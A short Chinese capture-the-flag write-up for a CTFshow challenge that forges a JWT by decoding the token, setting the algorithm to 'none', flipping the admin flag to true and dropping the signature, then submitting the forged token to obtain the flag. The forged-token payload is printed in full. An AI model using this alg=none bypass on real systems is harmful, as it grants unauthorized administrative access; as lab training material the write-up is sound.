CTFSHOW-JWT令牌伪造

解题思路

访问网页

提示已给出,将jwt命令的验证方法改成none,即可

制作playload

我们输入admin点击登录

发现会给cookie赋值一个token,JWT的token格式用点分开,为三个部分,头部.载荷.签名

token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJhZG1pbiI6ZmFsc2V9.xtg1ltvVHM1MGPIna6l949dh1FW4Azsb8Kmijbso_XQ

均为base64编码的结果

我们对头部、载荷进行解码

可以看到

{"alg":"HS256","typ":"JWT"}.{"user":"admin","admin":false}

根据提示,修改alg为none,且后方的admin:false需要修改成true

没有签名验证的话,最后的签名的base64编码可以删除但需要保留.

重新将修改好的base64编码

{"alg":"none","typ":"JWT"}.{"user":"admin","admin":true}
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiYWRtaW4iLCJhZG1pbiI6dHJ1ZX0=.

使用Hackerbar修改token值

执行得到flag

 

 

 

 

 


目录